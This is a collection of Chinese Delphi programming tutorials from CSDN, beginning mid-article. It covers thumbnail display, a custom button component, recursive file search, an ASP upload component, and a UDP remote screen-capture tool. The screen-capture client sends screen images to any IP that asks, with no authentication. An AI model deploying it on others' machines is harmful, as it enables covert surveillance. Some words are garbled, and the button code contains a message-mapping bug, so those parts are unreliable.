end;

6. 其中过程RefreshImage的代码如下：
//此过程把ImageFileList中记录的图片文件缩放后加载到ImageList1中，并在
//ListView1中显示
procedure TForm1.RefreshImage;
var
i:integer;
ImageFileName:string;
ThumbBmpLeft:integer;
ThumbBmpTop:integer;
ThumbBmpHeight:integer;
ThumbBmpWidth:integer;
begin
IsRefreshImageFinished:=false;
listview1.Clear;
imagelist1.Clear;

screen.Cursor:=crHourGlass;
ProgressBar1.Max:=ImageFileList.GetFileCount;
ProgressBar1.Visible:=true;
listview1.Items.BeginUpdate;
try
for i:=0 to ImageFileList.GetFileCount-1 do
begin

ImageFileList.SetIndex(i);
ImageFileName:=ImageFileList.GetCurFullFileName;
if IsJpgFile(ImageFileName) then
jpgtobmp(ImageFileList.GetCurFullFileName,ThumbJpg,OriginalBmp)
else
OriginalBmp.LoadFromFile(ImageFileList.GetCurFullFileName);

if OriginalBmp.Height>=OriginalBmp.Width then
begin

ThumbBmpWidth:=64*OriginalBmp.Width div OriginalBmp.Height;
ThumbBmpLeft:=(64-ThumbBmpWidth ) div 2;

ThumbBmp.Canvas.Brush.Color :=clBtnFace;
ThumbBmp.Canvas.FillRect(ThumbBmp.Canvas.ClipRect);

DrawPanel(ThumbBmp.Canvas,0,0,79,79,RaisedPanel);
DrawPanel(ThumbBmp.Canvas,7+ThumbBmpLeft,7,ThumbBmpWidth+1,64,LoweredPanel);
ThumbBmp.Canvas.StretchDraw(Rect(8+ThumbBmpLeft,8,8+ThumbBmpLeft+ThumbBmpWidth,71),OriginalBmp);

imagelist1.Add(ThumbBmp,nil);
end
else
begin
ThumbBmpHeight:=64*OriginalBmp.Height div OriginalBmp.Width;
ThumbBmpTop:=(64-ThumbBmpHeight ) div 2;

ThumbBmp.Canvas.Brush.Color :=clBtnFace;
ThumbBmp.Canvas.FillRect(ThumbBmp.Canvas.ClipRect);

DrawPanel(ThumbBmp.Canvas,0,0,79,79,RaisedPanel);
DrawPanel(ThumbBmp.Canvas,7,7+ThumbBmpTop,64,ThumbBmpHeight+1,LoweredPanel);
ThumbBmp.Canvas.StretchDraw(Rect(8,8+ThumbBmpTop,71,8+ThumbBmpTop+ThumbBmpHeight),OriginalBmp);
imagelist1.Add(ThumbBmp,nil);
end;

with ListView1.Items.Add do
begin
ImageIndex:=imagelist1.Count-1;
caption:=ImageFileList.GetCurFileName;
end;
ProgressBar1.Position:=i;
application.ProcessMessages;
end;
finally
listview1.Items.EndUpdate;
ProgressBar1.Visible:=false;
end;
screen.Cursor:= crDefault;
IsRefreshImageFinished:=true;

end;

7.过程DrawPanel的代码如下：

//在canvas上画一个Panel
procedure DrawPanel(canvas:TCanvas;Left,Top,Width,Height:integer;PanelType:integer);
var
Right,Bottom:integer;
LeftTopColor,RightBottomColor:TColor;
begin
//凸起的panel
 if PanelType=RaisedPanel then
begin
LeftTopColor:=clwhite;
RightBottomColor:=clgray;
end
else //凹下去的panel
 begin
LeftTopColor:=clgray;
RightBottomColor:=clwhite;
end;
Right:=Left+width;
Bottom:=Top+Height;

Canvas.Pen.Width:=1;
Canvas.Pen.Color:=LeftTopColor;

Canvas.MoveTo(Right,Top);
Canvas.lineTo(Left,Top);

Canvas.LineTo(Left,bottom);

Canvas.Pen.Color:=RightBottomColor;

Canvas.lineTo(Right,Bottom);
Canvas.lineTo(Right,Top);
end;
8.接下来我们在ListView1的OnSelectItem事件里添加代码：

procedure TForm1.ListView1SelectItem(Sender: TObject; Item: TListItem;
Selected: Boolean);
begin
//当ShellTreeView1目录改变时 会激发此事件，
 if listview1.SelCount=0 then exit;

//当窗体释放时也会激发此事件
 //ImageFileList.GetFileCount=0 后再 ImageFileList.SetIndex(item.Index);
 //会引起异常
 if ImageFileList.GetFileCount=0 then exit;

ImageFileList.SetIndex(item.Index);
ShowPreImageFit(ImageFileList.GetCurFullFileName);
end;

9.其中过程ShowImageFit的代码比较罗嗦，如下所示：

//image1在Panel1中居中显示图片文件ImageFileName

procedure TForm1.ShowPreImageFit(const ImageFileName: string);
begin
Image1.Visible:=false;
if IsJpgFile(ImageFileName) then
begin
JpgToBmp(ImageFileName,PreViewJpg,PreViewBmp);
Image1.Picture.Bitmap:=PreViewBmp;
end
else
Image1.Picture.LoadFromFile(ImageFileName);

if (Image1.Picture.Bitmap.Height<=Panel1.Height) and (image1.Picture.Bitmap.Width<=Panel1.Width) then
begin
Image1.AutoSize:=true;
Image1.Stretch:=true;
Image1.Left:=(Panel1.Width-image1.Width) div 2;
Image1.Top:=(Panel1.Height-image1.Height) div 2;
end
else if Panel1.Height>=Panel1.Width then
begin
Image1.AutoSize:=false;
Image1.Stretch:=true;
if image1.Picture.Bitmap.Height>=image1.Picture.Bitmap.Width then
begin
image1.Height:=Panel1.Width;
Image1.Width:=Image1.Height*Image1.Picture.Bitmap.Width div Image1.Picture.Bitmap.Height;
Image1.Top:=(Panel1.Height-Image1.Height) div 2;
Image1.Left:=(Panel1.Width-Image1.Width) div 2;
end
else
begin
Image1.Width:=Panel1.Width;
Image1.Height:=Image1.Width*Image1.Picture.Bitmap.Height div Image1.Picture.Bitmap.Width;
Image1.Top:=(Panel1.Height-Image1.Height) div 2;
Image1.Left:=(Panel1.Width-Image1.Width) div 2;
end;
end
else
begin
Image1.AutoSize:=false;
Image1.Stretch:=true;
if Image1.Picture.Bitmap.Height>=Image1.Picture.Bitmap.Width then
begin
Image1.Height:=Panel1.Height;
Image1.Width:=Image1.Height*Image1.Picture.Bitmap.Width div Image1.Picture.Bitmap.Height;
Image1.Top:=(Panel1.Height-Image1.Height) div 2;
Image1.Left:=(Panel1.Width-Image1.Width) div 2;
end
else
begin
Image1.Width:=Panel1.Height;
Image1.Height:=Image1.Width*Image1.Picture.Bitmap.Height div Image1.Picture.Bitmap.Width;
Image1.Top:=(Panel1.Height-Image1.Height) div 2;
Image1.Left:=(Panel1.Width-Image1.Width) div 2;
end
end;
Image1.Visible:=true;
end;

由于整个程序的代码比较长，上面仅列出了部分重要的代码。编译运行后的界面如图三所示。

(图三)

四.总结

利用delphi提供的ListView和ImageList控件我们基本实现了ACDSee的缩略图功能。但与ACDSee比起来我们的程序还差的很远，尤其是当某个目录下的图片文件较多时，速度会变得很慢。这方面还希望得到其他朋友的指点。源程序在delphi6.0和win98SE环境下编译通过，参考软件ACDSee3.0。


CSDN_文档中心_用DELPHI实现特色按钮

特色按钮

每当用到DELPHI自带的控件都感到少了一点什么，形状也好，颜色也好，变

化的方式也好，都与自已的项目所需要的标准相差了一些，查阅了一些书籍

后发现下面的控件很有可用之处！！！

以下是它的源代码：

unit DsFancyButton;

interface

uses
SysUtils,Windows, Messages, Classes, Graphics, Controls, Forms;

type
TTextStyle = (txNone, txLowered, txRaised, txShadowed);
TShape = (shCapsule, shOval, shRectangle, shRoundRect);
TDsFancyButton = class(TGraphicControl)
private
FButtonColor: TColor;
FIsDown: Boolean;
FFrameColor: TColor;
FFrameWidth: Integer;
FCornerRadius: Integer;
FRgn, MRgn: HRgn;
FShape: TShape;
FTextColor: TColor;
FTextStyle: TTextStyle;

procedure SetButtonColor(Value: TColor);
procedure CMEnabledChanged(var message: TMessage);
message CM_ENABLEDCHANGED;
procedure CMTextChanged(var message: TMessage);
message CM_TEXTCHANGED;
procedure CMDialogChar(var message: TCMDialogChar);
message CM_DIALOGCHAR;
procedure WMSize(var message: TWMSize); message WM_PAINT;
protected
procedure Click; override;
procedure DrawShape;
procedure Paint; override;
procedure SetFrameColor(Value: TColor);
procedure SetFrameWidth(Value: Integer);
procedure SetCornerRadius(Value: Integer);
procedure SetShape(Value: TShape);
procedure SetTextStyle(Value: TTextStyle);
procedure WMLButtonDown(var Message: TWMLButtonDown); message

WM_LBUTTONDOWN;
procedure WMLButtonUp(var Message: TWMLButtonUp); message

WM_LBUTTONUP;
procedure WriteCaption;
public
constructor Create(Aowner: TComponent); override;
destructor Destroy; override;
published
property ButtonColor: TColor
read FButtonColor write SetButtonColor;
property Caption;
property DragCursor;
property DragMode;
property Enabled;
property Font;
property FrameColor: TColor
read FFrameColor write SetFrameColor;
property FrameWidth: Integer
read FFrameWidth write SetFrameWidth;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property CornerRadius: Integer
read FCornerRadius write SetCornerRadius;
property Shape: TShape
read FShape write SetShape default shRoundRect;
property ShowHint;
property TextStyle: TTextStyle
read FTextStyle write SetTExtStyle;
property Visible;

property OnClick; property OnDragDrop;
property OnDragOver; property OnEndDrag;
property OnMouseDown; Property OnMouseUp;
Property OnMouseMove;
end;

procedure Register;

implementation

constructor TDsFancyButton.Create(AOwner: TComponent);
begin
inherited Create(Aowner);
ControlStyle := [csClickEvents, csCaptureMouse, csSetCaption];
Enabled := True;
FButtonColor := clBtnFace;
FIsDown := False;
FFrameColor := clGray;
FFrameWidth := 6;
FCornerRadius := 10;
FRgn := 0;
FShape := shRoundRect;
FTextStyle := txRaised;
Height := 25;
Visible := True;
Width := 97;
end;

destructor TDsFancyButton.Destroy;
begin
DeleteObject(FRgn);
DeleteObject(MRgn);
inherited Destroy;
end;

procedure TDsFancyButton.Paint;
var Dia: integer;
ClrUp, ClrDown: TColor;
begin
Canvas.Brush.Style := bsClear;

if FIsDown then
begin ClrUp := clBtnShadow; ClrDown := clBtnHighlight; end
else
begin ClrUp := clBtnHighlight; ClrDown := clBtnShadow; end;

with Canvas do
begin
case Shape of
shRoundRect:
begin
Dia := 2*CornerRadius;
Mrgn := CreateRoundRectRgn(0, 0, Width, Height, Dia,

Dia);
end;
shCapsule:
begin
if Width < Height then Dia := Width else Dia :=

Height;
Mrgn := CreateRoundRectRgn(0, 0, Width , Height, Dia,

Dia);
end;
shRectangle: MRgn := CreateRectRgn(0, 0, Width - 1, Height

- 1);
shOval: MRgn := CreateEllipticRgn(0, 0, Width, Height);
end;//case
Canvas.Brush.Color := FButtonColor;
FillRgn(Handle, MRgn, Brush.Handle);
Brush.Color :=ClrUp;
FrameRgn(Handle, MRgn, Brush.Handle, 1,1);
OffsetRgn(MRgn, 1, 1);
Brush.Color := ClrDown;
FrameRgn(Handle, MRgn, Brush.Handle, 1, 1);
end;//canvas
DrawShape;
WriteCaption;
end;

procedure TDsFancyButton.DrawShape;
var
FC, Warna: TColor;
R, G, B: Byte;
AwalR, AwalG, AwalB, AkhirR, AkhirG, AkhirB, n, t, Dia: Integer;
begin
if FFrameWidth mod 2=0 then t := FFrameWidth
else t := FFrameWidth + 1;

Warna := ColorToRGB(ButtonColor);
FC := ColorToRGB(FrameColor);
Canvas.Brush.Color := Warna;

AwalR := GetRValue(FC); AkhirR := GetRValue(Warna);
AwalG := GetGValue(FC); AkhirG := GetGValue(Warna);
AwalB := GetBValue(FC); AkhirB := GetBValue(Warna);
FRgn := 0;
with Canvas do
for n := 0 to t - 1 do
begin
R := AwalR + Trunc(Sqrt(t*t - Sqr(t-n))*(AkhirR - AwalR)/t);
G := AwalG + Trunc(Sqrt(t*t - Sqr(t-n))*(AkhirG - AwalG)/t);
B := AwalB + Trunc(Sqrt(t*t - Sqr(t-n))*(AkhirB - AwalB)/t);
Brush.Color := RGB(R, G, B);

Case Shape of
shOval: FRgn := CreateEllipticRgn(1 + n, 1 + n, Width - n,

Height - n);
shRoundRect:
begin
Dia := CornerRadius;
if (Dia - n) >0 then
FRgn :=
CreateRoundRectRgn(1 + n, 1 + n ,Width - n, Height -

n, 2*(Dia - n), 2*(Dia - n))
else FRgn := CreateRectRgn( 1 + n, 1 + n, Width - n - 1,

Height - n - 1);
end;
shCapsule:
begin
if Width < Height then Dia := Width div 2 else Dia :=

Height div 2;
if (Dia - n) > 0 then
FRgn:=
CreateRoundRectRgn(1 + n, 1 + n, Width - n,

Height - n, 2*(Dia - n), 2*(Dia - n))
else FRgn := CreateRectRgn(1 + n, 1 + n ,Width - n -

1, Height - n - 1);
end;
else FRgn := CreateRectRgn(1 + n, 1 + n, Width - n - 1,

Height - n - 1);
end;//case
FrameRgn(Handle, FRgn, Brush.Handle, 1, 1);
end;
end;

procedure TDsFancyButton.WriteCaption;
var
Flags: Word;
BtnL, BtnT, BtnR, BtnB: Integer;
R, TR: TRect;
begin
R := ClientREct; TR := ClientRect;
Canvas.Font := Self.Font;
Canvas.Brush.Style := bsClear;
Flags := DT_CENTER or DT_SINGLELINE;
Canvas.Font := Font;

if FIsDown then FTextColor := FrameColor
else FTextColor := Self.Font.Color;

with canvas do
begin
BtnT := (Height - TextHeight(Caption)) div 2;
BtnB := BtnT + TextHeight(Caption);
BtnL := (Width - TextWidth(Caption)) div 2;
BtnR := BtnL + TextWidth(Caption);
TR := Rect(BtnL, BtnT, BtnR, BtnB);
R := TR;
if ((TextStyle = txLowered) and FIsDown ) or
((TextStyle = txRaised) and not FIsDown) then
begin
Font.Color := clBtnHighLight;
OffsetRect(TR, -1 + 1, -1 + 1);
DrawText(Handle, PChar(Caption), Length(Caption), TR,

Flags);
end
else if ((TextStyle = txLowered) and not FIsDown) or
((TextStyle = txRaised) and FIsDown) then
begin
Font.Color := clBtnHighLight;
OffsetRect(TR, + 2, + 2);
DrawText(Handle, PChar(Caption), Length(Caption), TR,

Flags);
end
else if (TextStyle = txShadowed) and FIsDown then
begin
Font.Color := clBtnShadow;
OffsetREct(TR, 3 + 1, 3 + 1);
DrawText(Handle, PChar(Caption),

Length(Caption), TR, Flags);
end
else if (TextStyle = txShadowed) and not FIsDown

then
begin
Font.Color := clBtnShadow;
OffsetRect(TR, 2 + 1, 2 + 1);
DrawText(Handle, PChar(Caption),

Length(Caption), TR, Flags);
end;

if Enabled then Font.Color := FTextColor//self.Font.Color
else if (TextStyle = txShadowed) and not Enabled then
Font.Color := clBtnFace
else Font.Color := clBtnShadow;
if FIsDown then OffsetRect(R, 1, 1)
else OffsetRect(R, -1, -1);
DrawText(Handle, PChar(Caption), Length(Caption), R, Flags);
end;
end;

procedure TDsFancyButton.SetButtonColor(value: TColor);
begin
if value <> FButtonColor then
begin FButtonColor := value ; Invalidate; end;
end;

procedure TDsFancyButton.WMLButtonDown(var message:

TWMLButtonDown);
begin
if not PtInRegion(MRgn, message.xPos, message.yPos) then Exit;
FIsDown := True;
Paint;
inherited;
end;

procedure TDsFancyButton.WMLButtonUp(var message: TWMLButtonUp);
begin
if not FIsDown then Exit;
FIsDown := False;
paint;
inherited;
end;

procedure TDsFancyButton.SetShape(value: TShape);
begin
if value <> FShape then
begin FShape := value; Invalidate; end;
end;

procedure TDsFancyButton.SetTextStyle(value: TTextStyle);
begin
if value<>FTextStyle then
begin FTextStyle := value; Invalidate; end;
end;

procedure TDsFancyButton.SetFrameColor(value: TColor);
begin
if Value<>FFrameColor then
begin FFrameColor := Value; Invalidate;end;
end;

procedure TDsFancyButton.SetFrameWidth(Value: Integer);
var
w: integer;
begin
if Width<height then w := Width else w := Height;
if Value<>FFrameWidth then FFrameWidth := value;
if FFrameWidth < 4 then FFrameWidth := 4;
if FFrameWidth >(w div 2) then FFrameWidth := (w div 2);
Invalidate;
end;

procedure TDsFancyButton.SetCornerRadius(Value: integer);
var
w: integer;
begin
if Width<Height then w := Width else w := Height;
if value<>FCornerRadius then FCornerRadius := value;
if FCornerRadius<3 then FCornerRadius := 3;
if FCornerRadius>w then FCornerRadius := w;
Invalidate;
end;

procedure TDsFancyButton.CMEnabledChanged(var message: Tmessage);
begin
inherited;
invalidate;
end;

procedure TDsFancyButton.CMTextChanged(var message: TMessage);
begin
Invalidate;
end;

procedure TDsFancyButton.CMDialogChar(var message:TCMDialogChar);
begin
With Message do
if IsAccel (CharCode, Caption) and Enabled then
begin Click; Result := 1 ;end
else inherited;
end;

procedure TDsFancyButton.WMSize(var Message: TWMSize);
begin
inherited;
if width>300 then width := 300;
if Height>300 then Height := 300;
end;

procedure TDsFancyButton.Click;
begin
FIsDown := False;
Invalidate;
inherited Click;
end;

procedure Register;
begin
RegisterComponents('WYM COMPONENT',[TDsFancyButton]);
end;

end.

耿百强。


CSDN_文档中心_用Delphi实现远程屏幕抓取

用Delphi实现远程屏幕抓取
山东巨力股份有限公司CAD中心
檀革勤
---- 在网络管理中，有时需要通过监视远程计算机屏幕来了解网上微机的使用情况。虽然，市面上有很多软件可以实现该功能，有些甚至可以进行远程控制，但在使用上缺乏灵活性，如无法指定远程计算机屏幕区域的大小和位置，进而无法在一屏上同时监视多个屏幕。其实，可以用Delphi自行编制一个灵活的远程屏幕抓取工具，简述如下。

---- 一、软硬件要求。

---- Windows95/98对等网，用来监视的计算机（以下简称主控机）和被监视的计算机（以下简称受控机）都必须装有TCP/IP 协议，并正确配置。如没有网络，也可以在一台计算机上进行调试。

---- 二、实现方法。

---- 编制两个应用程序，一个为VClient.exe，装在受控机上，另一个为VServer.exe，装在主控机上。VServer.exe指定要监视的受控机的IP地址和将要在受控机屏幕上抓取区域的大小和位置，并发出屏幕抓取指令给VClient.exe，VClient.exe得到指令后，在受控机屏幕上选取指定区域，生成数据流，将其发回主控机，并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出，该方法的关键有二：一是如何在受控机上进行屏幕抓取，二是如何通过TCP/IP协议在两台计算机中传输数据。

---- UDP(User Datagram Protocol，意为用户报文协议)是Internet上广泛采用的通信协议之一。与TCP协议不同，它是一种非连接的传输协议，没有确认机制，可靠性不如TCP，但它的效率却比TCP高，用于远程屏幕监视还是比较适合的。同时，UDP控件不区分服务器端和客户端，只区分发送端和接收端，编程上较为简单，故选用UDP协议，使用Delphi 4.0提供的TNMUDP控件。

---- 三、创建演示程序。

---- 第一步，编制VClient.exe文件。新建Delphi工程，将默认窗体的Name属性设为“Client”。加入TNMUDP控件，Name属性设为“CUDP”；LocalPort属性设为“1111”，让控件CUDP监视受控机的1111端口，当有数据发送到该口时，触发控件CUDP的OnDataReceived事件；RemotePort属性设为“2222”，当控件CUDP发送数据时，将数据发到主控机的2222口。

---- 在implementation后面加入变量定义

const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }

为Client的OnCreate事件添加代码：
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码：
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;

为控件CUDP的OnDataReceived事件添加代码：
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then { 没有数据可发，必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)
-Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-
Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr
)+1,Length(TmpStr)-Pos(':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); {
截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
end;
end;

其中ScreenCap是自定义函数，截取屏幕指定区域，
代码如下：
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”，
并编译。

---- 第二步，编制VServer.exe文件。新建Delphi工程，将窗体的Name属性设为“Server”。加入TNMUDP控件，Name属性设为“SUDP”；LocalPort属性设为“2222”，让控件SUDP监视主控机的2222端口，当有数据发送到该口时，触发控件SUDP的OnDataReceived事件；RemotePort属性设为“1111”，当控件SUDP发送数据时，将数据发到受控机的1111口。加入控件Image1，Align属性设为“alClient”；加入控件Button1，Caption属性设为“截屏”；加入控件Label1，Caption属性设为“左：上：右：下”；加入控件Edit1，Text属性设为“0:0:100:100”；加入控件Label2，Caption属性设为“受控机IP地址”；加入控件Edit2，Text属性设为“127.0.0.1”；
在implementation后面加入变量定义
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

为Server的OnCreate事件添加代码：
procedure TServer.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码：
procedure TServer.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;

为控件Button1的OnClick事件添加代码：
procedure TServer.Button1Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.Text;
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

为控件SUDP的OnDataReceived事件添加代码：
procedure TServer.SUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='show'+Edit1.text;
StrpCopy(ReqCode,ReqCodeStr);
SUDP.ReadStream(TmpStream);
RsltStream.CopyFrom(TmpStream,NumberBytes);
if NumberBytes< BufSize then { 数据已读完 }
begin
RsltStream.Position:=0;
Image1.Picture.Bitmap.LoadFromStream(RsltStream);
TmpStream.Clear;
RsltStream.Clear;
end
else
begin
TmpStream.Clear;
ReqCode:='show';
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;
end;

存为“C:\VServer\SvrUnit.pas”和
“C:\VServer\VServer.dpr”，并编译。

---- 四、测试。
---- 1、本地机测试：在本地机同时运行Vserver.exe和VClient.exe，利用程序的默认设置，即可实现截屏。查看“控制面板”-“网络”-“TCP/IP”-“IP地址”，将程序的“客户IP地址”设为该地址 ，同样正常运行。

---- 2、远程测试：选一台受控机，运行VClient.exe；另选一台主控机，运行VServer.exe，将“受控机IP地址”即Edit2的内容设为受控机的IP地址，“截屏”即可。以上简要介绍了远程屏幕抓取的实现方法，至于在主控机上一屏同时监视多个受控机，读者可自行完善。以上程序，在Windows98对等网、Delphi 4.0下调试通过。


CSDN_文档中心_用Delphi实现子目录级的文件查询

用Delphi实现子目录级的文件查询

在应用实践中，我们经常会用到文件查询功能。通过Win95中提供的查找功能，我们可以方便的找出磁盘上任何子目录下的文件，其原因是该查找功能可以遍历指定目录下的所有子目录中的文件。从编程角度讲，它实现了子目录级的文件查询。其实，这项功能并不难实现，关键是能理解并掌握懙莨閽这种程序设计思路。本人用Delphi实现了该项功能（任意子目录级），由于使用了懙莨閽，程序思路清晰，代码量小。

实现方法：
1． 获取当前目录下的所有下一级子目录。
2． 存入字符串列表中（Tstrings）。
其中，用到了几个API函数。
FindFirst 是找出指定目录下第一个文件或目录。
FindNext 一般和FindFirst配合使用，用来找出下一个文件或目录。
FindClose 用来关闭查询。
（以上函数Delphi在线帮助中有详尽解释，在此不赘述）；
3． 用FileExists函数查找当前目录，
4． 寻找是否有满足条件的文件存在，
5． 依次使各个子目录成为当前目录，
6． 递归调用本函数，
7． 释放资源，
8． 返回查询结果。

代码如下：
1． 从搜索记录中判断是否是子目录。

function IsValidDir(SearchRec:TSearchRec):Boolean;
begin
if (SearchRec.Attr=16) and
(SearchRec.Name<>'.') and
(SearchRec.Name<>'..') then
Result:=True
else
Result:=False;
end;
2． 这是查询主体函数。
参数介绍：

Mainpath： 指定的查询目录。
Filename： 欲查询的文件。
Foundresult： 返回的含完整路径的匹配文件（可能有多个）。

如果有匹配文件，函数返回True，否则，返回False;

function SearchFile(mainpath:string; filename:string;
var foundresult:TStrings):Boolean;
var i:integer;
Found:Boolean;
subdir1:TStrings;
searchRec:TsearchRec;
begin
found:=false;
if Trim(filename)<>'' then
begin
subdir1:=TStringList.Create;//字符串列表必须动态生成
//找出所有下级子目录。
if (FindFirst(mainpath+'*.*', faDirectory, SearchRec)=0) then
begin
if IsValidDir(SearchRec) then
subdir1.Add(SearchRec.Name);
while (FindNext(SearchRec) = 0) do
begin
if IsValidDir(SearchRec) then
subdir1.Add(SearchRec.Name);
end;
end;
FindClose(SearchRec);
//查找当前目录。
if FileExists(mainpath+filename) then
begin
found:=true;
foundresult.Add(mainpath+filename);
end;
//这是递归部分，查找各子目录。
for i:=0 to subdir1.Count-1 do
found:=Searchfile(mainpath+subdir1.Strings[i]+
'\',Filename,foundresult)or found;
//资源释放并返回结果。
subdir1.Free;
end;
result:=found;
end;

总之，只要掌握了思路，用哪种编程语言都可以实现。现在，你可以轻松的给你 的系统挂上一个非常使用的功能了。

『Site:delphi爱好者 | E-mail:delphifan@990.net | Webmaster:梁 明』
---------------------------------------------------------------------------


CSDN_文档中心_用DELPHI为ASP开发文件上载组件

用DELPHI为ASP开发文件上载组件 深圳王发军 返回

ＡＳＰ(Active Server Page)是微软公司的产品，由于它编程很容易上手，能快速开发功能强大的动态网站，现在很多网站（特别是Intranet/Extranet内部网）采用了ＮＴ＋ＩＩＳ＋ＡＳＰ的模式，使得ＡＳＰ成为目前较为流行的网站开发脚本语言。在ＷＥＢ服务中，文件上载服务是一个很常见的功能，而ＷＩＮ９Ｘ下的ＰＷＳ没有提供相关组件；ＮＴ下的ＩＩＳ提供了一个Post Acceptor组件，但由于它要检查用户的ＷＷＷ访问权限而变得不太好用；也可以从Internet上下载有关组件，但这些大多都是商业组件，用于下载的是试用版，在使用时间或功能上都有限制。由于ＡＳＰ可以调用标准的ＯＬＥ／ＣＯＭ组件，我们可以用ＶＢ／ＶＣ／ＤＥＬＰＨＩ等高级编程工具根据我们自己的要求来定制自己的ＡＳＰ文件上载组件，满足自己的应用系统要求。

下面将讨论用ＤＥＬＰＨＩ为ＡＳＰ开发文件上载组件的原理和具体实现过程。

一、文件上载的实现原理

基于Web方式数据上传，要遵从RFC1867标准，上载的文件数据也不例外。如用下面ＨＴＭＬ页面文件（delphiup.htm）选择上载文件：

<!-- DelphiUp.htm：文件上载界面 -->

<html><head><title>文件上载</title></head><body>

用ＤＥＬＰＨＩ编写的文件上载组件实现文件上载

<form NAME="UploadForm" ACTION="delphiup.asp" METHOD="POST" ENCTYPE="multipart/form-data">

<p>文件另存为：<input TYPE=text NAME="SaveAs">

<p>请要选择上载的文件：<input TYPE=file NAME="FileData">

<input type="submit" name="b1" value="确认上载"> </p>

</form>

</body></html>

当客户端选择了一个文件（如Test.TXT，其内容为“这里是一个用于上载的文件的内容。”）并按

“确认上载”按钮提交数据后，服务器端程序收到的数据将具有如下形式：

-----------------------------7cf1d6c47c#13#10

Content-Disposition: form-data; name="SaveAs"#13#10#13#10

NewFileName#13#10

-----------------------------7cf1d6c47c#13#10

Content-Disposition: form-data; name="FileData"; filename="D:\test.txt"

Content-Type: text/plain#13#10#13#10

这里是一个用于上载的文件的内容。#13#10

-----------------------------7cf1d6c47c#13#10

Content-Disposition: form-data; name="b1"#13#10#13#10

确认上载#13#10

-----------------------------7cf1d6c47c--

其中，“-----------------------------7cf1d6c47c”是分界符，用于分隔表单（Form）中的各个域；

#13#10是回车换行符的ＤＥＬＰＨＩ表示。我们可以这样认为，每个表单域的信息描述，都是以分界符加一对回车换行符#13#10开始；表单域名以“name="”开始，以“"”为结束；表单域值以两对回车换行符#13#10#13#10开始，以一对回车换行符#13#10#加分界符结束；文件名称以“filename="”开始，以“"”为结束。有了这些标志，我们就可以获取表单域的名称和值以及要上载的文件的名称，从而实现文件数据的读取和存储了。

二、文件上载的实现过程

在理解上面提到的数据格式后，自己动手编写一个文件上载组件对我们来说已经不是困难了。

（一）开始建立一个ＡＳＰ组件的工程

如果您对用ＤＥＬＰＨＩ开发OLE Automation Server的步骤不太熟悉的话，请参见《电子与电脑》１９９９年第０６期的一篇文章《用ＤＥＬＰＨＩ开发用于ＡＳＰ的OLE Automation Server 》。

这里只简要介绍一下操作步骤。

１、建立ActiveX Library工程

在ＤＥＬＰＨＩ中选择菜单File＝》New...，在“New Item”对话框的ActiveX选项卡中选择“ActiveX Library”，ＤＥＬＰＨＩ会自动创建一个ＤＬＬ工程Project1。

２、建立Automation组件

